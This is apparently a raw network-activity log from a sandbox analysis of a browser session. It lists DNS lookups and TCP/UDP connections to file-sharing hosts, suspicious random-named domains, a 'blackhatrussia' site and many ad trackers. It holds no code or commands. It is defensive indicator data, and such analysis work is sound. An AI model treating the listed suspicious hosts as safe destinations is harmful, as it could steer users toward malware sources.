DE 173.194.187.105:443 rr4---sn-4g5e6nsr.googlevideo.com udp
US 13.248.148.254:80 xcu.exgaming.click tcp
US 76.223.26.96:80 xcu.exgaming.click tcp
US 13.248.148.254:80 xcu.exgaming.click tcp
US 76.223.26.96:80 xcu.exgaming.click tcp
US 13.248.148.254:80 xcu.exgaming.click tcp
US 13.248.148.254:80 xcu.exgaming.click tcp
US 76.223.26.96:80 xcu.exgaming.click tcp
US 76.223.26.96:80 xcu.exgaming.click tcp
DE 173.194.187.105:443 rr4---sn-4g5e6nsr.googlevideo.com udp
US 13.248.148.254:80 xcu.exgaming.click tcp
US 76.223.26.96:80 xcu.exgaming.click tcp
US 8.8.8.8:53 xcu.exgaming.click udp
US 13.248.148.254:80 xcu.exgaming.click tcp
US 8.8.8.8:53 xcu5.exgaming.click udp
US 172.233.218.191:80 xcu5.exgaming.click tcp
US 8.8.8.8:53 ww12.exgaming.click udp
US 13.248.148.254:80 ww12.exgaming.click tcp
US 8.8.8.8:53 191.218.233.172.in-addr.arpa udp
US 104.19.214.37:443 otnolatrnup.com tcp
US 8.8.8.8:53 download2295.mediafire.com udp
US 8.8.8.8:53 g.ezoic.net udp
US 8.8.8.8:53 download2295.mediafire.com udp
US 199.91.155.36:443 download2295.mediafire.com tcp
US 8.8.8.8:53 g.ezoic.net udp
US 34.230.232.255:443 g.ezoic.net tcp
US 8.8.8.8:53 download2295.mediafire.com udp
US 8.8.8.8:53 36.155.91.199.in-addr.arpa udp
US 104.19.214.37:443 otnolatrnup.com udp
US 104.19.214.37:80 otnolatrnup.com tcp
US 8.8.8.8:53 woreppercomming.com udp
US 34.199.180.187:443 woreppercomming.com tcp
US 8.8.8.8:53 woreppercomming.com udp
US 8.8.8.8:53 woreppercomming.com udp
US 8.8.8.8:53 www.biphic.com udp
US 8.8.8.8:53 www.biphic.com udp
US 104.21.12.132:443 www.biphic.com tcp
US 8.8.8.8:53 www.biphic.com udp
US 104.21.12.132:443 www.biphic.com udp
US 8.8.8.8:53 www.opera.com udp
US 3.22.137.253:443 www.opera.com tcp
US 8.8.8.8:53 front-geo.production.opera-website.route53.opera.com udp
US 8.8.8.8:53 187.180.199.34.in-addr.arpa udp
US 8.8.8.8:53 132.12.21.104.in-addr.arpa udp
US 8.8.8.8:53 front-geo.production.opera-website.route53.opera.com udp
US 3.22.137.253:443 www.opera.com tcp
US 8.8.8.8:53 www.googleoptimize.com udp
US 8.8.8.8:53 www.googleoptimize.com udp
US 8.8.8.8:53 cdn-production-opera-website.operacdn.com udp
US 8.8.8.8:53 www.googleoptimize.com udp
JP 23.207.106.21:443 cdn-production-opera-website.operacdn.com tcp
JP 23.207.106.21:443 cdn-production-opera-website.operacdn.com tcp
JP 23.207.106.21:443 cdn-production-opera-website.operacdn.com tcp
JP 23.207.106.21:443 cdn-production-opera-website.operacdn.com tcp
JP 23.207.106.21:443 cdn-production-opera-website.operacdn.com tcp
US 8.8.8.8:53 e11604.dscf.akamaiedge.net udp
US 8.8.8.8:53 253.137.22.3.in-addr.arpa udp
US 8.8.8.8:53 e11604.dscf.akamaiedge.net udp
US 8.8.8.8:53 www.redditstatic.com udp
US 8.8.8.8:53 static.hotjar.com udp
US 8.8.8.8:53 cdn.taboola.com udp
US 8.8.8.8:53 connect.facebook.net udp
US 8.8.8.8:53 s.yimg.com udp
US 8.8.8.8:53 tags.creativecdn.com udp
NL 87.248.116.12:443 s.yimg.com tcp
US 8.8.8.8:53 scontent.xx.fbcdn.net udp
US 8.8.8.8:53 tags.creativecdn.com udp
US 8.8.8.8:53 edge.gycpi.b.yahoodns.net udp
US 151.101.1.140:443 www.redditstatic.com tcp
US 8.8.8.8:53 edge.gycpi.b.yahoodns.net udp
US 8.8.8.8:53 tags.creativecdn.com udp
US 8.8.8.8:53 scontent.xx.fbcdn.net udp
US 8.8.8.8:53 dualstack.reddit.map.fastly.net udp
US 8.8.8.8:53 tls13.taboola.map.fastly.net udp
US 8.8.8.8:53 static-cdn.hotjar.com udp
US 8.8.8.8:53 dualstack.reddit.map.fastly.net udp
NL 216.58.214.14:443 analytics.google.com tcp
US 8.8.8.8:53 global.easysecurecdn.com udp
US 8.8.8.8:53 analytics.google.com udp
US 8.8.8.8:53 tls13.taboola.map.fastly.net udp
NL 87.248.116.12:443 edge.gycpi.b.yahoodns.net tcp
US 8.8.8.8:53 alb.reddit.com udp
US 8.8.8.8:53 static-cdn.hotjar.com udp
NL 13.227.219.81:443 global.easysecurecdn.com tcp
US 8.8.8.8:53 stats.g.doubleclick.net udp
US 8.8.8.8:53 d2zcjgsjw9h04r.cloudfront.net udp
US 8.8.8.8:53 reddit.map.fastly.net udp
US 8.8.8.8:53 d2zcjgsjw9h04r.cloudfront.net udp
US 8.8.8.8:53 reddit.map.fastly.net udp
NL 216.58.214.14:443 analytics.google.com udp
US 8.8.8.8:53 21.106.207.23.in-addr.arpa udp
US 8.8.8.8:53 12.116.248.87.in-addr.arpa udp
US 8.8.8.8:53 140.1.101.151.in-addr.arpa udp
US 8.8.8.8:53 81.219.227.13.in-addr.arpa udp
US 8.8.8.8:53 sp.analytics.yahoo.com udp
US 8.8.8.8:53 spdc-global.pbp.gysm.yahoodns.net udp
US 8.8.8.8:53 spdc-global.pbp.gysm.yahoodns.net udp
NL 142.250.102.157:443 stats.g.doubleclick.net tcp
NL 142.250.102.157:443 stats.g.doubleclick.net udp
US 34.117.237.239:443 contile.services.mozilla.com tcp
NL 149.154.164.13:443 edit.telegra.ph tcp
US 8.8.8.8:53 telegra.ph udp
US 8.8.8.8:53 telegra.ph udp
US 8.8.8.8:53 t.me udp
NL 149.154.167.99:443 t.me tcp
US 8.8.8.8:53 t.me udp
US 8.8.8.8:53 t.me udp
US 8.8.8.8:53 edit.telegra.ph udp
NL 149.154.164.13:443 edit.telegra.ph tcp
US 8.8.8.8:53 edit.telegra.ph udp
SE 45.154.253.152:443 anonfiles.com tcp
US 8.8.8.8:53 vjs.zencdn.net udp
SE 45.154.253.151:443 anonfiles.com tcp
SE 45.154.253.151:443 anonfiles.com tcp
SE 45.154.253.151:443 anonfiles.com tcp
SE 45.154.253.151:443 anonfiles.com tcp
SE 45.154.253.151:443 anonfiles.com tcp
US 8.8.8.8:53 djv99sxoqpv11.cloudfront.net udp
US 151.101.2.217:443 vjs.zencdn.net tcp
US 151.101.2.217:443 vjs.zencdn.net tcp
US 8.8.8.8:53 dualstack.osff.map.fastly.net udp
NL 13.227.211.132:443 djv99sxoqpv11.cloudfront.net tcp
US 8.8.8.8:53 djv99sxoqpv11.cloudfront.net udp
US 8.8.8.8:53 dualstack.osff.map.fastly.net udp
US 8.8.8.8:53 djv99sxoqpv11.cloudfront.net udp
US 8.8.8.8:53 151.253.154.45.in-addr.arpa udp
US 54.225.185.110:443 tionpecialukizei.com tcp
US 8.8.8.8:53 baconaces.pro udp
US 8.8.8.8:53 132.211.227.13.in-addr.arpa udp
US 188.114.96.0:443 pogothere.xyz tcp
US 8.8.8.8:53 pogothere.xyz udp
US 8.8.8.8:53 ginnyweakeland.info udp
US 172.64.109.33:443 ektobedirectuklyec.info tcp
US 8.8.8.8:53 ektobedirectuklyec.info udp
US 8.8.8.8:53 accounts.google.com udp
US 8.8.8.8:53 ginnyweakeland.info udp
NL 142.250.179.141:443 accounts.google.com tcp
NL 142.250.179.141:443 accounts.google.com tcp
NL 52.222.139.118:443 ginnyweakeland.info tcp
NL 52.222.139.118:443 ginnyweakeland.info tcp
NL 52.222.139.118:443 ginnyweakeland.info tcp
US 8.8.8.8:53 pogothere.xyz udp
US 8.8.8.8:53 ektobedirectuklyec.info udp
US 172.64.109.33:443 ektobedirectuklyec.info tcp
US 8.8.8.8:53 ginnyweakeland.info udp
US 188.114.96.0:443 pogothere.xyz udp
NL 142.250.179.141:443 accounts.google.com udp
US 172.64.109.33:443 ektobedirectuklyec.info udp
NL 142.250.179.141:443 accounts.google.com udp
NL 13.227.219.108:443 belfarewesbe.info tcp
US 8.8.8.8:53 belfarewesbe.info udp
US 34.195.224.242:443 tionpecialukizei.com tcp
SE 45.154.253.152:443 anonfiles.com tcp
US 8.8.8.8:53 118.139.222.52.in-addr.arpa udp
US 8.8.8.8:53 108.219.227.13.in-addr.arpa udp
US 34.195.224.242:443 tionpecialukizei.com tcp
US 172.64.109.33:443 ektobedirectuklyec.info udp
US 8.8.8.8:53 github.com udp
US 8.8.8.8:53 github.githubassets.com udp
US 8.8.8.8:53 github.com udp
US 140.82.112.4:443 github.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 8.8.8.8:53 collector.github.com udp
US 8.8.8.8:53 glb-db52c2cf8be544.github.com udp
US 140.82.113.21:443 collector.github.com tcp
US 8.8.8.8:53 glb-db52c2cf8be544.github.com udp
US 8.8.8.8:53 api.github.com udp
US 140.82.114.6:443 api.github.com tcp
US 8.8.8.8:53 api.github.com udp
US 8.8.8.8:53 6.114.82.140.in-addr.arpa udp
US 8.8.8.8:53 glb-db52c2cf8be544.github.com udp
US 8.8.8.8:53 glb-db52c2cf8be544.github.com udp
US 185.199.110.133:443 avatars.githubusercontent.com tcp
US 8.8.8.8:53 camo.githubusercontent.com udp
US 8.8.8.8:53 user-images.githubusercontent.com udp
US 185.199.109.133:443 user-images.githubusercontent.com tcp
US 8.8.8.8:53 camo.githubusercontent.com udp
US 185.199.110.133:443 camo.githubusercontent.com tcp
US 8.8.8.8:53 user-images.githubusercontent.com udp
US 8.8.8.8:53 camo.githubusercontent.com udp
US 8.8.8.8:53 user-images.githubusercontent.com udp
US 8.8.8.8:53 133.109.199.185.in-addr.arpa udp
US 8.8.8.8:53 codeload.github.com udp
US 140.82.112.9:443 codeload.github.com tcp
US 8.8.8.8:53 codeload.github.com udp
US 8.8.8.8:53 codeload.github.com udp
US 8.8.8.8:53 9.112.82.140.in-addr.arpa udp
US 8.8.8.8:53 youtube-ui.l.google.com udp
US 8.8.8.8:53 youtube-ui.l.google.com udp
NL 88.221.24.24:443 www.bing.com tcp
US 8.8.8.8:53 224.104.207.23.in-addr.arpa udp
US 8.8.8.8:53 r.bing.com udp
NL 88.221.24.51:443 r.bing.com tcp
NL 88.221.24.51:443 r.bing.com tcp
NL 88.221.24.43:443 th.bing.com tcp
NL 88.221.24.43:443 th.bing.com tcp
US 8.8.8.8:53 firefox.settings.services.mozilla.com udp
US 8.8.8.8:53 prod.remote-settings.prod.webservices.mozgcp.net udp
US 34.149.100.209:443 prod.remote-settings.prod.webservices.mozgcp.net tcp
US 8.8.8.8:53 prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 content-signature-2.cdn.mozilla.net udp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 34.160.144.191:443 prod.content-signature-chains.prod.webservices.mozgcp.net tcp
US 8.8.8.8:53 69.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 24.24.221.88.in-addr.arpa udp
US 8.8.8.8:53 51.24.221.88.in-addr.arpa udp
US 8.8.8.8:53 43.24.221.88.in-addr.arpa udp
US 8.8.8.8:53 api.github.com udp
US 8.8.8.8:53 api.github.com udp
US 8.8.8.8:53 api.github.com udp
US 8.8.8.8:53 collector.github.com udp
US 8.8.8.8:53 glb-db52c2cf8be544.github.com udp
US 8.8.8.8:53 glb-db52c2cf8be544.github.com udp
US 8.8.8.8:53 login.microsoftonline.com udp
NL 20.190.160.14:443 login.microsoftonline.com tcp
US 8.8.8.8:53 vjs.zencdn.net udp
US 8.8.8.8:53 ektobedirectuklyec.info udp
US 8.8.8.8:53 accounts.google.com udp
SE 45.154.253.152:443 anonfiles.com tcp
US 8.8.8.8:53 dualstack.osff.map.fastly.net udp
US 8.8.8.8:53 ektobedirectuklyec.info udp
US 8.8.8.8:53 accounts.google.com udp
US 8.8.8.8:53 dualstack.osff.map.fastly.net udp
US 8.8.8.8:53 vjs.zencdn.net udp
SE 45.154.253.152:443 anonfiles.com tcp
SE 45.154.253.152:443 anonfiles.com tcp
SE 45.154.253.152:443 anonfiles.com tcp
SE 45.154.253.152:443 anonfiles.com tcp
SE 45.154.253.152:443 anonfiles.com tcp
US 151.101.2.217:443 vjs.zencdn.net tcp
SE 45.154.253.152:443 anonfiles.com tcp
US 8.8.8.8:53 djv99sxoqpv11.cloudfront.net udp
NL 13.227.211.114:443 djv99sxoqpv11.cloudfront.net tcp
US 8.8.8.8:53 djv99sxoqpv11.cloudfront.net udp
US 8.8.8.8:53 baconaces.pro udp
US 8.8.8.8:53 baconaces.pro udp
US 54.225.185.110:443 baconaces.pro tcp
US 8.8.8.8:53 ginnyweakeland.info udp
US 8.8.8.8:53 tionpecialukizei.com udp
NL 52.222.139.118:443 ginnyweakeland.info tcp
US 8.8.8.8:53 ginnyweakeland.info udp
US 34.195.224.242:443 tionpecialukizei.com tcp
US 8.8.8.8:53 tionpecialukizei.com udp
US 172.64.109.33:443 ektobedirectuklyec.info udp
NL 142.250.179.141:443 accounts.google.com udp
US 8.8.8.8:53 star-mini.c10r.facebook.com udp
US 8.8.8.8:53 star-mini.c10r.facebook.com udp
US 8.8.8.8:53 114.211.227.13.in-addr.arpa udp
US 34.195.224.242:443 tionpecialukizei.com tcp
N/A 224.0.0.251:5353 udp
NL 157.240.201.35:443 www.facebook.com udp
US 8.8.8.8:53 cdn-153.anonfiles.com udp
SE 195.96.151.46:443 cdn-153.anonfiles.com tcp
US 8.8.8.8:53 cdn-153.anonfiles.com udp
US 8.8.8.8:53 cdn-153.anonfiles.com udp
US 8.8.8.8:53 46.151.96.195.in-addr.arpa udp
US 8.8.8.8:53 services.bingapis.com udp
US 13.107.13.80:443 services.bingapis.com tcp
US 8.8.8.8:53 80.13.107.13.in-addr.arpa udp
US 8.8.8.8:53 4.159.190.20.in-addr.arpa udp
US 204.79.197.200:443 www2.bing.com tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 aus5.mozilla.org udp
US 35.244.181.201:443 aus5.mozilla.org tcp
US 8.8.8.8:53 prod.balrog.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 prod.balrog.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 201.181.244.35.in-addr.arpa udp
US 34.160.144.191:443 prod.content-signature-chains.prod.webservices.mozgcp.net tcp
US 8.8.8.8:53 ciscobinary.openh264.org udp
US 2.18.121.73:80 ciscobinary.openh264.org tcp
US 8.8.8.8:53 a19.dscg10.akamai.net udp
US 8.8.8.8:53 a19.dscg10.akamai.net udp
US 8.8.8.8:53 redirector.gvt1.com udp
US 8.8.8.8:53 redirector.gvt1.com udp
US 8.8.8.8:53 redirector.gvt1.com udp
US 8.8.8.8:53 r3---sn-4g5lzne6.gvt1.com udp
DE 74.125.160.232:443 r3---sn-4g5lzne6.gvt1.com tcp
US 8.8.8.8:53 r3.sn-4g5lzne6.gvt1.com udp
US 8.8.8.8:53 r3.sn-4g5lzne6.gvt1.com udp
DE 74.125.160.232:443 r3.sn-4g5lzne6.gvt1.com udp
US 8.8.8.8:53 73.121.18.2.in-addr.arpa udp
US 8.8.8.8:53 232.160.125.74.in-addr.arpa udp
US 8.8.8.8:53 xcu.exgaming.click udp
US 76.223.26.96:80 xcu.exgaming.click tcp
US 172.233.218.191:80 xcu5.exgaming.click tcp
US 8.8.8.8:53 ww12.exgaming.click udp
US 13.248.148.254:80 ww12.exgaming.click tcp
US 8.8.8.8:53 aus5.mozilla.org udp
US 8.8.8.8:53 prod.balrog.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 prod.balrog.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 xcu.exgaming.click udp
US 13.248.148.254:80 xcu.exgaming.click tcp
US 172.233.218.191:80 xcu5.exgaming.click tcp
US 13.248.148.254:80 xcu.exgaming.click tcp
US 13.248.148.254:80 xcu.exgaming.click tcp
US 172.233.218.191:80 xcu5.exgaming.click tcp
US 13.248.148.254:80 xcu.exgaming.click tcp
US 13.248.148.254:80 xcu.exgaming.click tcp
US 8.8.8.8:53 i.ytimg.com udp
NL 172.217.168.246:443 i.ytimg.com tcp
US 8.8.8.8:53 i.ytimg.com udp
US 8.8.8.8:53 i.ytimg.com udp
NL 172.217.168.246:443 i.ytimg.com udp
US 8.8.8.8:53 apis.google.com udp
US 8.8.8.8:53 plus.l.google.com udp
US 8.8.8.8:53 plus.l.google.com udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
US 8.8.8.8:53 yt3.ggpht.com udp
US 8.8.8.8:53 photos-ugc.l.googleusercontent.com udp
US 8.8.8.8:53 photos-ugc.l.googleusercontent.com udp
US 8.8.8.8:53 static.doubleclick.net udp
NL 142.251.36.6:443 static.doubleclick.net tcp
US 8.8.8.8:53 static.doubleclick.net udp
US 8.8.8.8:53 jnn-pa.googleapis.com udp
US 8.8.8.8:53 static.doubleclick.net udp
NL 142.250.179.138:443 jnn-pa.googleapis.com tcp
NL 142.250.179.138:443 jnn-pa.googleapis.com tcp
US 8.8.8.8:53 jnn-pa.googleapis.com udp
US 8.8.8.8:53 jnn-pa.googleapis.com udp
NL 142.251.36.6:443 static.doubleclick.net udp
NL 142.250.179.138:443 jnn-pa.googleapis.com udp
NL 142.250.179.138:443 jnn-pa.googleapis.com udp
US 8.8.8.8:53 github.com udp
US 140.82.112.4:443 github.com tcp
US 8.8.8.8:53 github.com udp
US 185.199.108.154:443 github.githubassets.com tcp
US 8.8.8.8:53 collector.github.com udp
US 8.8.8.8:53 glb-db52c2cf8be544.github.com udp
US 140.82.113.21:443 collector.github.com tcp
US 8.8.8.8:53 glb-db52c2cf8be544.github.com udp
US 8.8.8.8:53 api.github.com udp
US 8.8.8.8:53 api.github.com udp
US 140.82.114.6:443 api.github.com tcp
US 185.199.110.133:443 user-images.githubusercontent.com tcp
US 8.8.8.8:53 raw.githubusercontent.com udp
US 185.199.108.133:443 raw.githubusercontent.com tcp
US 185.199.108.133:443 raw.githubusercontent.com tcp
US 8.8.8.8:53 raw.githubusercontent.com udp
US 8.8.8.8:53 raw.githubusercontent.com udp
US 8.8.8.8:53 133.108.199.185.in-addr.arpa udp
US 8.8.8.8:53 www.blackhatrussia.com udp
MY 111.90.142.140:443 www.blackhatrussia.com tcp
US 8.8.8.8:53 www.blackhatrussia.com udp
US 8.8.8.8:53 www.blackhatrussia.com udp
MY 111.90.142.140:443 www.blackhatrussia.com udp
US 8.8.8.8:53 i.postimg.cc udp
US 8.8.8.8:53 i.ibb.co udp
US 8.8.8.8:53 image.ibb.co udp
US 8.8.8.8:53 waust.at udp
US 8.8.8.8:53 cdn.livetrafficfeed.com udp
US 104.238.220.140:443 i.postimg.cc tcp
US 104.238.220.140:443 i.postimg.cc tcp
US 104.238.220.140:443 i.postimg.cc tcp
US 104.238.220.140:443 i.postimg.cc tcp
US 104.238.220.140:443 i.postimg.cc tcp
US 104.238.220.140:443 i.postimg.cc tcp
US 104.26.4.7:443 waust.at tcp
US 8.8.8.8:53 i.postimg.cc udp
US 104.194.8.120:443 image.ibb.co tcp
US 8.8.8.8:53 waust.at udp
SG 139.99.46.91:443 cdn.livetrafficfeed.com tcp
US 8.8.8.8:53 i.postimg.cc udp
US 104.194.8.143:443 image.ibb.co tcp
US 104.194.8.143:443 image.ibb.co tcp
US 104.194.8.143:443 image.ibb.co tcp
US 104.194.8.143:443 image.ibb.co tcp
US 8.8.8.8:53 waust.at udp
US 8.8.8.8:53 image.ibb.co udp
US 8.8.8.8:53 cdn.livetrafficfeed.com udp
US 8.8.8.8:53 i.ibb.co udp
US 8.8.8.8:53 image.ibb.co udp
US 8.8.8.8:53 cdn.livetrafficfeed.com udp
US 8.8.8.8:53 i.ibb.co udp
US 8.8.8.8:53 140.142.90.111.in-addr.arpa udp
US 8.8.8.8:53 7.4.26.104.in-addr.arpa udp
US 8.8.8.8:53 140.220.238.104.in-addr.arpa udp
US 8.8.8.8:53 120.8.194.104.in-addr.arpa udp
SG 139.99.46.91:443 cdn.livetrafficfeed.com tcp
US 8.8.8.8:53 share.pluso.ru udp
US 8.8.8.8:53 t.dtscout.com udp
US 141.101.120.11:443 t.dtscout.com tcp
US 8.8.8.8:53 t.dtscout.com udp
US 8.8.8.8:53 t.dtscout.com udp
US 8.8.8.8:53 get.s-onetag.com udp
US 8.8.8.8:53 pd.sharethis.com udp
US 8.8.8.8:53 thirdparty-logserver-lb.global.unified-prod.sharethis.net udp
US 8.8.8.8:53 get.s-onetag.com udp
NL 65.9.86.92:443 get.s-onetag.com tcp
US 8.8.8.8:53 get.s-onetag.com udp
US 8.8.8.8:53 thirdparty-logserver-lb.global.unified-prod.sharethis.net udp
US 8.8.8.8:53 tags.crwdcntrl.net udp
US 8.8.8.8:53 pixel.onaudience.com udp
US 8.8.8.8:53 wt.rqtrk.eu udp
US 8.8.8.8:53 143.8.194.104.in-addr.arpa udp
US 8.8.8.8:53 91.46.99.139.in-addr.arpa udp
US 8.8.8.8:53 11.120.101.141.in-addr.arpa udp
US 8.8.8.8:53 92.86.9.65.in-addr.arpa udp
US 8.8.8.8:53 pixel.onaudience.com udp
US 104.26.12.60:443 t.dtscdn.com tcp
US 8.8.8.8:53 t.dtscdn.com udp
US 8.8.8.8:53 tags.crwdcntrl.net udp
US 8.8.8.8:53 pixel.onaudience.com udp
US 8.8.8.8:53 onetag-geo.s-onetag.com udp
US 8.8.8.8:53 t.dtscdn.com udp
US 8.8.8.8:53 wt.rqtrk.eu udp
US 8.8.8.8:53 tags.crwdcntrl.net udp
NL 108.156.60.74:443 onetag-geo.s-onetag.com tcp
US 8.8.8.8:53 onetag-geo.s-onetag.com udp
US 8.8.8.8:53 wt.rqtrk.eu udp
US 8.8.8.8:53 onetag-geo.s-onetag.com udp
US 8.8.8.8:53 whos.amung.us udp
US 8.8.8.8:53 livetrafficfeed.com udp
US 8.8.8.8:53 whos.amung.us udp
SG 139.99.46.91:443 livetrafficfeed.com tcp
US 8.8.8.8:53 livetrafficfeed.com udp
US 8.8.8.8:53 whos.amung.us udp
US 8.8.8.8:53 livetrafficfeed.com udp
SG 139.99.46.91:443 livetrafficfeed.com tcp
US 8.8.8.8:53 data-beacons.s-onetag.com udp
US 18.65.39.101:443 data-beacons.s-onetag.com tcp
US 8.8.8.8:53 d12bsi324hla21.cloudfront.net udp
US 8.8.8.8:53 d12bsi324hla21.cloudfront.net udp
US 8.8.8.8:53 ap.lijit.com udp
US 8.8.8.8:53 oeu.vap.lijit.com udp
US 8.8.8.8:53 oeu.vap.lijit.com udp
US 18.218.169.166:443 thirdparty-logserver-lb.global.unified-prod.sharethis.net tcp
NL 52.222.139.35:443 tags.crwdcntrl.net tcp
FR 141.94.170.64:443 pixel.onaudience.com tcp
CA 15.235.42.104:443 wt.rqtrk.eu tcp
US 172.67.8.141:443 whos.amung.us tcp
NL 216.52.2.16:443 oeu.vap.lijit.com tcp
US 8.8.8.8:53 60.12.26.104.in-addr.arpa udp
US 8.8.8.8:53 101.39.65.18.in-addr.arpa udp
US 8.8.8.8:53 74.60.156.108.in-addr.arpa udp
US 8.8.8.8:53 35.139.222.52.in-addr.arpa udp
US 8.8.8.8:53 16.2.52.216.in-addr.arpa udp
US 8.8.8.8:53 141.8.67.172.in-addr.arpa udp
US 8.8.8.8:53 64.170.94.141.in-addr.arpa udp
US 8.8.8.8:53 ps.eyeota.net udp
US 8.8.8.8:53 ps.eyeota.net udp
US 18.207.77.150:443 ps.eyeota.net tcp
US 8.8.8.8:53 ps.eyeota.net udp
US 8.8.8.8:53 cdn.tynt.com udp
US 104.18.19.219:443 cdn.tynt.com tcp
US 8.8.8.8:53 cdn.tynt.com.cdn.cloudflare.net udp
US 8.8.8.8:53 cdn.tynt.com.cdn.cloudflare.net udp
US 8.8.8.8:53 track2.securedvisit.com udp
US 34.237.70.38:443 track2.securedvisit.com tcp
US 8.8.8.8:53 track2.securedvisit.com udp
US 8.8.8.8:53 track2.securedvisit.com udp
US 8.8.8.8:53 104.42.235.15.in-addr.arpa udp
US 8.8.8.8:53 166.169.218.18.in-addr.arpa udp
US 8.8.8.8:53 150.77.207.18.in-addr.arpa udp
US 8.8.8.8:53 219.19.18.104.in-addr.arpa udp
US 8.8.8.8:53 38.70.237.34.in-addr.arpa udp
US 8.8.8.8:53 api.intentiq.com udp
NL 108.156.60.7:443 api.intentiq.com tcp
US 8.8.8.8:53 api.intentiq.com udp
US 8.8.8.8:53 api.intentiq.com udp
NL 108.156.60.7:443 api.intentiq.com udp
US 8.8.8.8:53 partner.googleadservices.com udp
US 8.8.8.8:53 i.liadm.com udp
NL 142.251.36.2:443 partner.googleadservices.com tcp
US 8.8.8.8:53 partner46.googleadservices.com udp
US 54.84.118.30:443 i.liadm.com tcp
US 8.8.8.8:53 idaas-ext.cph.liveintent.com udp
US 8.8.8.8:53 partner46.googleadservices.com udp
US 8.8.8.8:53 idaas-ext.cph.liveintent.com udp
NL 142.251.36.2:443 partner46.googleadservices.com udp
US 8.8.8.8:53 7.60.156.108.in-addr.arpa udp
US 8.8.8.8:53 2.36.251.142.in-addr.arpa udp
US 8.8.8.8:53 30.118.84.54.in-addr.arpa udp
US 8.8.8.8:53 px.ads.linkedin.com udp
US 13.107.42.14:443 px.ads.linkedin.com tcp
US 8.8.8.8:53 l-0005.l-msedge.net udp
US 8.8.8.8:53 l-0005.l-msedge.net udp
US 8.8.8.8:53 i6.liadm.com udp
US 54.236.93.201:443 i6.liadm.com tcp
US 8.8.8.8:53 idaas6.cph.liveintent.com udp
US 8.8.8.8:53 idaas6.cph.liveintent.com udp
US 8.8.8.8:53 um.simpli.fi udp
NL 35.204.158.49:443 um.simpli.fi tcp
US 8.8.8.8:53 um.simpli.fi udp
US 8.8.8.8:53 tpc.googlesyndication.com udp
US 8.8.8.8:53 www.googletagservices.com udp
NL 142.251.36.1:443 tpc.googlesyndication.com tcp
US 8.8.8.8:53 tpc.googlesyndication.com udp
US 8.8.8.8:53 um.simpli.fi udp
US 8.8.8.8:53 tpc.googlesyndication.com udp
US 8.8.8.8:53 ce.lijit.com udp
NL 142.251.36.1:443 tpc.googlesyndication.com udp
NL 216.52.2.6:443 ce.lijit.com tcp
US 8.8.8.8:53 emea.vap.lijit.com udp
US 8.8.8.8:53 emea.vap.lijit.com udp
US 8.8.8.8:53 14.42.107.13.in-addr.arpa udp
US 8.8.8.8:53 201.93.236.54.in-addr.arpa udp
US 8.8.8.8:53 49.158.204.35.in-addr.arpa udp
US 8.8.8.8:53 6.2.52.216.in-addr.arpa udp
US 8.8.8.8:53 fundingchoicesmessages.google.com udp
NL 142.250.179.206:443 fundingchoicesmessages.google.com tcp
US 8.8.8.8:53 www3.l.google.com udp
US 8.8.8.8:53 www3.l.google.com udp
NL 142.250.179.206:443 www3.l.google.com udp
US 8.8.8.8:53 csi.gstatic.com udp
CL 64.233.186.120:443 csi.gstatic.com tcp
US 8.8.8.8:53 csi.gstatic.com udp
US 8.8.8.8:53 csi.gstatic.com udp
US 8.8.8.8:53 r5---sn-4g5e6ns6.gvt1.com udp
DE 173.194.187.10:443 r5---sn-4g5e6ns6.gvt1.com tcp
US 8.8.8.8:53 r5.sn-4g5e6ns6.gvt1.com udp
US 8.8.8.8:53 r5.sn-4g5e6ns6.gvt1.com udp
US 8.8.8.8:53 10.187.194.173.in-addr.arpa udp
US 8.8.8.8:53 120.186.233.64.in-addr.arpa udp
US 8.8.8.8:53 bcp.crwdcntrl.net udp
US 18.206.138.177:443 bcp.crwdcntrl.net tcp
US 8.8.8.8:53 bcp.crwdcntrl.net udp
DE 173.194.187.10:443 r5.sn-4g5e6ns6.gvt1.com udp
US 8.8.8.8:53 bcp.crwdcntrl.net udp
CL 64.233.186.120:443 csi.gstatic.com udp
US 8.8.8.8:53 177.138.206.18.in-addr.arpa udp
US 8.8.8.8:53 thrtle.com udp
US 44.208.98.212:443 thrtle.com tcp
US 8.8.8.8:53 thrtle.com udp
US 8.8.8.8:53 cms.analytics.yahoo.com udp
US 8.8.8.8:53 spcms-global.pbp.gysm.yahoodns.net udp
IE 212.82.100.182:443 spcms-global.pbp.gysm.yahoodns.net tcp
US 8.8.8.8:53 spcms-global.pbp.gysm.yahoodns.net udp
US 8.8.8.8:53 ups.analytics.yahoo.com udp
US 34.200.65.202:443 ups.analytics.yahoo.com tcp
US 8.8.8.8:53 ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud udp
US 8.8.8.8:53 ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud udp
US 8.8.8.8:53 182.100.82.212.in-addr.arpa udp
US 8.8.8.8:53 202.65.200.34.in-addr.arpa udp
NL 142.251.36.2:443 partner46.googleadservices.com tcp
NL 142.251.36.2:443 partner46.googleadservices.com tcp
US 8.8.8.8:53 www.googletagservices.com udp
US 8.8.8.8:53 www.googletagservices.com udp
NL 142.251.36.2:443 partner46.googleadservices.com tcp
NL 142.251.36.2:443 partner46.googleadservices.com udp
US 8.8.8.8:53 connect-metrics-collector.s-onetag.com udp
US 99.83.181.31:443 connect-metrics-collector.s-onetag.com tcp
US 8.8.8.8:53 connect-metrics-collector.s-onetag.com udp
